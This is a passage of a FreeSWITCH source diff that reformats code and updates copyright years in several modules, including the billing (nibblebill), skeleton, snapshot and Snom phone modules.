switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n", (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
|
||||
nibble_data->bill_adjustments += ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n",
|
||||
(atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
|
||||
|
||||
nibble_data->pausets = 0;
|
||||
|
||||
@@ -699,7 +706,7 @@ static void nibblebill_adjust(switch_core_session_t *session, float amount)
|
||||
}
|
||||
|
||||
/* Variables kept in FS but relevant only to this module */
|
||||
|
||||
|
||||
billaccount = switch_channel_get_variable(channel, "nibble_account");
|
||||
|
||||
/* Return if there's no billing information on this session */
|
||||
@@ -725,7 +732,7 @@ SWITCH_STANDARD_APP(nibblebill_app_function)
|
||||
if (!zstr(data) && (lbuf = strdup(data))
|
||||
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
|
||||
if (!strcasecmp(argv[0], "adjust") && argc == 2) {
|
||||
nibblebill_adjust(session, (float)atof(argv[1]));
|
||||
nibblebill_adjust(session, (float) atof(argv[1]));
|
||||
} else if (!strcasecmp(argv[0], "flush")) {
|
||||
do_billing(session);
|
||||
} else if (!strcasecmp(argv[0], "pause")) {
|
||||
@@ -760,7 +767,7 @@ SWITCH_STANDARD_API(nibblebill_api_function)
|
||||
channel = switch_core_session_get_channel(psession);
|
||||
|
||||
if (!strcasecmp(argv[1], "adjust") && argc == 3) {
|
||||
nibblebill_adjust(psession, (float)atof(argv[2]));
|
||||
nibblebill_adjust(psession, (float) atof(argv[2]));
|
||||
} else if (!strcasecmp(argv[1], "flush")) {
|
||||
do_billing(psession);
|
||||
} else if (!strcasecmp(argv[1], "pause")) {
|
||||
@@ -805,7 +812,7 @@ static switch_status_t sched_billing(switch_core_session_t *session)
|
||||
static switch_status_t process_hangup(switch_core_session_t *session)
|
||||
{
|
||||
/* Resume any paused billings, just in case */
|
||||
// nibblebill_resume(session);
|
||||
// nibblebill_resume(session);
|
||||
|
||||
/* Now go handle like normal billing */
|
||||
do_billing(session);
|
||||
@@ -813,17 +820,19 @@ static switch_status_t process_hangup(switch_core_session_t *session)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
switch_state_handler_table_t nibble_state_handler =
|
||||
{
|
||||
/* on_init */ NULL,
|
||||
/* on_routing */ process_hangup, /* Need to add a check here for anything in their account before routing */
|
||||
/* on_execute */ sched_billing, /* Turn on heartbeat for this session and do an initial account check */
|
||||
/* on_hangup */ process_hangup, /* On hangup - most important place to go bill */
|
||||
/* on_exch_media */ sched_billing,
|
||||
/* on_soft_exec */ NULL,
|
||||
/* on_consume_med */ NULL,
|
||||
/* on_hibernate */ NULL,
|
||||
/* on_reset */ NULL
|
||||
switch_state_handler_table_t nibble_state_handler = {
|
||||
/* on_init */ NULL,
|
||||
/* on_routing */ process_hangup,
|
||||
/* Need to add a check here for anything in their account before routing */
|
||||
/* on_execute */ sched_billing,
|
||||
/* Turn on heartbeat for this session and do an initial account check */
|
||||
/* on_hangup */ process_hangup,
|
||||
/* On hangup - most important place to go bill */
|
||||
/* on_exch_media */ sched_billing,
|
||||
/* on_soft_exec */ NULL,
|
||||
/* on_consume_med */ NULL,
|
||||
/* on_hibernate */ NULL,
|
||||
/* on_reset */ NULL
|
||||
};
|
||||
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
|
||||
@@ -831,13 +840,13 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
|
||||
switch_api_interface_t *api_interface;
|
||||
switch_application_interface_t *app_interface;
|
||||
|
||||
/* Set every byte in this structure to 0 */
|
||||
/* Set every byte in this structure to 0 */
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
globals.pool = pool;
|
||||
switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
|
||||
|
||||
load_config();
|
||||
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
@@ -845,13 +854,16 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
|
||||
SWITCH_ADD_API(api_interface, "nibblebill", "Manage billing parameters for a channel/call", nibblebill_api_function, API_SYNTAX);
|
||||
|
||||
/* Add dialplan applications */
|
||||
SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call", "Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX, SAF_NONE | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call",
|
||||
"Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX,
|
||||
SAF_NONE | SAF_ROUTING_EXEC);
|
||||
|
||||
/* register state handlers for billing */
|
||||
switch_core_add_state_handler(&nibble_state_handler);
|
||||
|
||||
/* bind to heartbeat events */
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) !=
|
||||
SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event to monitor for session heartbeats!\n");
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
@@ -861,7 +873,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
|
||||
}
|
||||
|
||||
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown)
|
||||
{
|
||||
{
|
||||
switch_event_unbind(&globals.node);
|
||||
switch_core_remove_state_handler(&nibble_state_handler);
|
||||
switch_odbc_handle_disconnect(globals.master_odbc);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -184,9 +184,9 @@ SWITCH_STANDARD_APP(rss_function)
|
||||
switch_input_args_t args = { 0 };
|
||||
const char *vcf = NULL;
|
||||
char *chanvars = switch_channel_build_param_string(channel, NULL, NULL);
|
||||
switch_codec_implementation_t read_impl = {0};
|
||||
switch_codec_implementation_t read_impl = { 0 };
|
||||
uint32_t rate, interval;
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
interval = read_impl.microseconds_per_packet / 1000;
|
||||
|
||||
if ((vcf = switch_channel_get_variable(channel, "rss_alt_config"))) {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -55,42 +55,46 @@ static struct {
|
||||
int integer;
|
||||
} globals;
|
||||
|
||||
static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
|
||||
static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
|
||||
{
|
||||
switch_bool_t value = *(switch_bool_t*)data->ptr;
|
||||
switch_bool_t value = *(switch_bool_t *) data->ptr;
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
|
||||
value ? "true" : "false", changed ? "true" : "false");
|
||||
|
||||
|
||||
value ? "true" : "false", changed ? "true" : "false");
|
||||
|
||||
|
||||
/*
|
||||
if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
|
||||
nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
|
||||
}
|
||||
*/
|
||||
|
||||
if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
|
||||
nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
|
||||
}
|
||||
*/
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
|
||||
|
||||
/* enforce_min, min, enforce_max, max */
|
||||
static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
|
||||
static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
|
||||
{ "greedy", CODEC_NEGOTIATION_GREEDY },
|
||||
{ "generous", CODEC_NEGOTIATION_GENEROUS },
|
||||
{ "evil", CODEC_NEGOTIATION_EVIL },
|
||||
{ NULL, 0 }
|
||||
static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
|
||||
{"greedy", CODEC_NEGOTIATION_GREEDY},
|
||||
{"generous", CODEC_NEGOTIATION_GENEROUS},
|
||||
{"evil", CODEC_NEGOTIATION_EVIL},
|
||||
{NULL, 0}
|
||||
};
|
||||
|
||||
static switch_xml_config_item_t instructions[] = {
|
||||
/* parameter name type reloadable pointer default value options structure */
|
||||
SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
|
||||
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
|
||||
SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
|
||||
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
|
||||
SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void*)SWITCH_FALSE, (switch_xml_config_callback_t)config_callback_siptrace, NULL,
|
||||
"yes|no", "If enabled, print out sip messages on the console."),
|
||||
SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
|
||||
NULL, NULL),
|
||||
SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy",
|
||||
&config_opt_codec_negotiation,
|
||||
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
|
||||
SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
|
||||
&config_opt_codec_negotiation_enum,
|
||||
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
|
||||
SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void *) SWITCH_FALSE,
|
||||
(switch_xml_config_callback_t) config_callback_siptrace, NULL,
|
||||
"yes|no", "If enabled, print out sip messages on the console."),
|
||||
SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void *) 100, &config_opt_integer,
|
||||
NULL, NULL),
|
||||
SWITCH_CONFIG_ITEM_END()
|
||||
};
|
||||
|
||||
@@ -102,14 +106,14 @@ static switch_status_t do_config(switch_bool_t reload)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open skel.conf\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
SWITCH_STANDARD_API(skel_function)
|
||||
{
|
||||
do_config(SWITCH_TRUE);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -121,9 +125,9 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_skel_load)
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
|
||||
|
||||
|
||||
do_config(SWITCH_FALSE);
|
||||
|
||||
|
||||
SWITCH_ADD_API(api_interface, "skel", "Skel API", skel_function, "syntax");
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -65,17 +65,18 @@ static switch_bool_t capture_callback(switch_media_bug_t *bug, void *user_data,
|
||||
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_READ:
|
||||
|
||||
|
||||
if (cb->buffer) {
|
||||
uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
|
||||
switch_frame_t frame = { 0 };
|
||||
|
||||
frame.data = data;
|
||||
frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
|
||||
|
||||
|
||||
if (switch_mutex_trylock(cb->mutex) == SWITCH_STATUS_SUCCESS) {
|
||||
while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
|
||||
if (frame.datalen) switch_buffer_slide_write(cb->buffer, frame.data, frame.datalen);
|
||||
if (frame.datalen)
|
||||
switch_buffer_slide_write(cb->buffer, frame.data, frame.datalen);
|
||||
}
|
||||
switch_mutex_unlock(cb->mutex);
|
||||
}
|
||||
@@ -95,7 +96,7 @@ static switch_status_t start_capture(switch_core_session_t *session, unsigned in
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
switch_media_bug_t *bug;
|
||||
switch_status_t status;
|
||||
switch_codec_implementation_t read_impl = {0};
|
||||
switch_codec_implementation_t read_impl = { 0 };
|
||||
struct cap_cb *cb;
|
||||
switch_size_t bytes;
|
||||
switch_bind_flag_t bind_flags = 0;
|
||||
@@ -109,8 +110,8 @@ static switch_status_t start_capture(switch_core_session_t *session, unsigned in
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Must be at least 5 seconds!\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
|
||||
if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
@@ -118,7 +119,7 @@ static switch_status_t start_capture(switch_core_session_t *session, unsigned in
|
||||
|
||||
cb = switch_core_session_alloc(session, sizeof(*cb));
|
||||
cb->base = switch_core_session_strdup(session, base);
|
||||
|
||||
|
||||
bytes = read_impl.samples_per_second * seconds * 2;
|
||||
|
||||
switch_buffer_create_dynamic(&cb->buffer, bytes, bytes, bytes);
|
||||
@@ -132,7 +133,7 @@ static switch_status_t start_capture(switch_core_session_t *session, unsigned in
|
||||
switch_ivr_bind_dtmf_meta_session(session, 7, bind_flags, "snapshot::snap");
|
||||
|
||||
switch_channel_set_private(channel, "snapshot", bug);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -141,11 +142,11 @@ static switch_status_t do_snap(switch_core_session_t *session)
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
switch_media_bug_t *bug = switch_channel_get_private(channel, "snapshot");
|
||||
char *file;
|
||||
switch_file_handle_t fh = {0};
|
||||
switch_codec_implementation_t read_impl = {0};
|
||||
switch_file_handle_t fh = { 0 };
|
||||
switch_codec_implementation_t read_impl = { 0 };
|
||||
switch_size_t bytes_read;
|
||||
int16_t pdata[4096] = {0};
|
||||
|
||||
int16_t pdata[4096] = { 0 };
|
||||
|
||||
if (bug) {
|
||||
switch_time_exp_t tm;
|
||||
switch_size_t retsize;
|
||||
@@ -158,19 +159,17 @@ static switch_status_t do_snap(switch_core_session_t *session)
|
||||
|
||||
switch_time_exp_lt(&tm, switch_time_make(switch_epoch_time_now(NULL), 0));
|
||||
switch_strftime(date, &retsize, sizeof(date), "%Y_%m_%d_%H_%M_%S", &tm);
|
||||
|
||||
file = switch_core_session_sprintf(session, "%s%s%s_%s.wav", SWITCH_GLOBAL_dirs.sounds_dir,
|
||||
SWITCH_PATH_SEPARATOR, cb->base, date);
|
||||
|
||||
file = switch_core_session_sprintf(session, "%s%s%s_%s.wav", SWITCH_GLOBAL_dirs.sounds_dir, SWITCH_PATH_SEPARATOR, cb->base, date);
|
||||
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
fh.channels = 0;
|
||||
fh.native_rate = read_impl.actual_samples_per_second;
|
||||
|
||||
|
||||
if (switch_core_file_open(&fh,
|
||||
file,
|
||||
0,
|
||||
read_impl.actual_samples_per_second,
|
||||
SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error opening %s\n", file);
|
||||
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
|
||||
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
|
||||
@@ -180,7 +179,7 @@ static switch_status_t do_snap(switch_core_session_t *session)
|
||||
switch_mutex_lock(cb->mutex);
|
||||
while ((bytes_read = switch_buffer_read(cb->buffer, pdata, sizeof(pdata)))) {
|
||||
switch_size_t samples = bytes_read / 2;
|
||||
|
||||
|
||||
if (switch_core_file_write(&fh, pdata, &samples) != SWITCH_STATUS_SUCCESS) {
|
||||
break;
|
||||
}
|
||||
@@ -205,8 +204,8 @@ SWITCH_STANDARD_APP(snapshot_app_function)
|
||||
|
||||
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))) {
|
||||
argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (argc < 1) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SNAP_SYNTAX);
|
||||
return;
|
||||
@@ -240,7 +239,7 @@ SWITCH_STANDARD_APP(snapshot_app_function)
|
||||
}
|
||||
|
||||
start_capture(session, seconds, flags, base);
|
||||
|
||||
|
||||
}
|
||||
|
||||
if (!strcasecmp(argv[0], "snap")) {
|
||||
@@ -276,7 +275,7 @@ SWITCH_STANDARD_API(snapshot_function)
|
||||
const char *base = argv[3];
|
||||
int seconds = 5;
|
||||
switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
|
||||
|
||||
|
||||
if (sec) {
|
||||
int tmp = atoi(sec);
|
||||
if (tmp > 5) {
|
||||
@@ -297,7 +296,7 @@ SWITCH_STANDARD_API(snapshot_function)
|
||||
if (!base) {
|
||||
base = "mod_snapshot";
|
||||
}
|
||||
|
||||
|
||||
status = start_capture(lsession, seconds, flags, base);
|
||||
}
|
||||
|
||||
@@ -311,7 +310,7 @@ SWITCH_STANDARD_API(snapshot_function)
|
||||
stream->write_function(stream, "-ERR Operation Failed\n");
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
|
||||
switch_safe_free(mycmd);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -327,7 +326,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_snapshot_load)
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
|
||||
|
||||
|
||||
SWITCH_ADD_API(api_interface, "uuid_snapshot", "Snapshot API", snapshot_function, SNAP_API_SYNTAX);
|
||||
SWITCH_ADD_APP(app_interface, "snapshot", "", "", snapshot_app_function, SNAP_SYNTAX, SAF_SUPPORT_NOMEDIA);
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -55,42 +55,46 @@ static struct {
|
||||
int integer;
|
||||
} globals;
|
||||
|
||||
static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
|
||||
static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
|
||||
{
|
||||
switch_bool_t value = *(switch_bool_t*)data->ptr;
|
||||
switch_bool_t value = *(switch_bool_t *) data->ptr;
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
|
||||
value ? "true" : "false", changed ? "true" : "false");
|
||||
|
||||
|
||||
value ? "true" : "false", changed ? "true" : "false");
|
||||
|
||||
|
||||
/*
|
||||
if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
|
||||
nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
|
||||
}
|
||||
*/
|
||||
|
||||
if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
|
||||
nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
|
||||
}
|
||||
*/
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
|
||||
|
||||
/* enforce_min, min, enforce_max, max */
|
||||
static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
|
||||
static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
|
||||
{ "greedy", CODEC_NEGOTIATION_GREEDY },
|
||||
{ "generous", CODEC_NEGOTIATION_GENEROUS },
|
||||
{ "evil", CODEC_NEGOTIATION_EVIL },
|
||||
{ NULL, 0 }
|
||||
static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
|
||||
{"greedy", CODEC_NEGOTIATION_GREEDY},
|
||||
{"generous", CODEC_NEGOTIATION_GENEROUS},
|
||||
{"evil", CODEC_NEGOTIATION_EVIL},
|
||||
{NULL, 0}
|
||||
};
|
||||
|
||||
static switch_xml_config_item_t instructions[] = {
|
||||
/* parameter name type reloadable pointer default value options structure */
|
||||
SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
|
||||
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
|
||||
SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
|
||||
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
|
||||
SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void*)SWITCH_FALSE, (switch_xml_config_callback_t)config_callback_siptrace, NULL,
|
||||
"yes|no", "If enabled, print out sip messages on the console."),
|
||||
SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
|
||||
NULL, NULL),
|
||||
SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy",
|
||||
&config_opt_codec_negotiation,
|
||||
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
|
||||
SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
|
||||
&config_opt_codec_negotiation_enum,
|
||||
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
|
||||
SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void *) SWITCH_FALSE,
|
||||
(switch_xml_config_callback_t) config_callback_siptrace, NULL,
|
||||
"yes|no", "If enabled, print out sip messages on the console."),
|
||||
SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void *) 100, &config_opt_integer,
|
||||
NULL, NULL),
|
||||
SWITCH_CONFIG_ITEM_END()
|
||||
};
|
||||
|
||||
@@ -102,14 +106,14 @@ static switch_status_t do_config(switch_bool_t reload)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open snipe_hunt.conf\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
SWITCH_STANDARD_API(snipe_hunt_function)
|
||||
{
|
||||
do_config(SWITCH_TRUE);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -121,9 +125,9 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_snipe_hunt_load)
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
|
||||
|
||||
|
||||
do_config(SWITCH_FALSE);
|
||||
|
||||
|
||||
SWITCH_ADD_API(api_interface, "snipe_hunt", "Snipe_Hunt API", snipe_hunt_function, "syntax");
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -33,14 +33,9 @@
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_snom_load);
|
||||
SWITCH_MODULE_DEFINITION(mod_snom, mod_snom_load, NULL, NULL);
|
||||
|
||||
static switch_bool_t snom_bind_key(const char *key,
|
||||
const char *light,
|
||||
const char *label,
|
||||
const char *user,
|
||||
const char *host,
|
||||
const char *profile,
|
||||
const char *action_name,
|
||||
const char *action)
|
||||
static switch_bool_t snom_bind_key(const char *key,
|
||||
const char *light,
|
||||
const char *label, const char *user, const char *host, const char *profile, const char *action_name, const char *action)
|
||||
{
|
||||
switch_event_t *event;
|
||||
|
||||
@@ -61,7 +56,7 @@ static switch_bool_t snom_bind_key(const char *key,
|
||||
}
|
||||
return SWITCH_TRUE;
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
|
||||
@@ -92,17 +87,17 @@ SWITCH_STANDARD_API(snom_bind_key_api_function)
|
||||
if (argc < 6) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
|
||||
if (snom_bind_key(argv[0], argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) {
|
||||
stream->write_function(stream, "+OK %s\n", cmd);
|
||||
goto end;
|
||||
}
|
||||
|
||||
err:
|
||||
|
||||
err:
|
||||
|
||||
stream->write_function(stream, "-Error %s\n", KEY_BIND_SYNTAX);
|
||||
|
||||
end:
|
||||
end:
|
||||
|
||||
free(mydata);
|
||||
|
||||
@@ -122,7 +117,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_snom_load)
|
||||
SWITCH_ADD_API(commands_api_interface, "snom_bind_key", "Bind a key", snom_bind_key_api_function, KEY_BIND_SYNTAX);
|
||||
SWITCH_ADD_API(commands_api_interface, "snom_url", "url", snom_url_api_function, URL_SYNTAX);
|
||||
|
||||
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
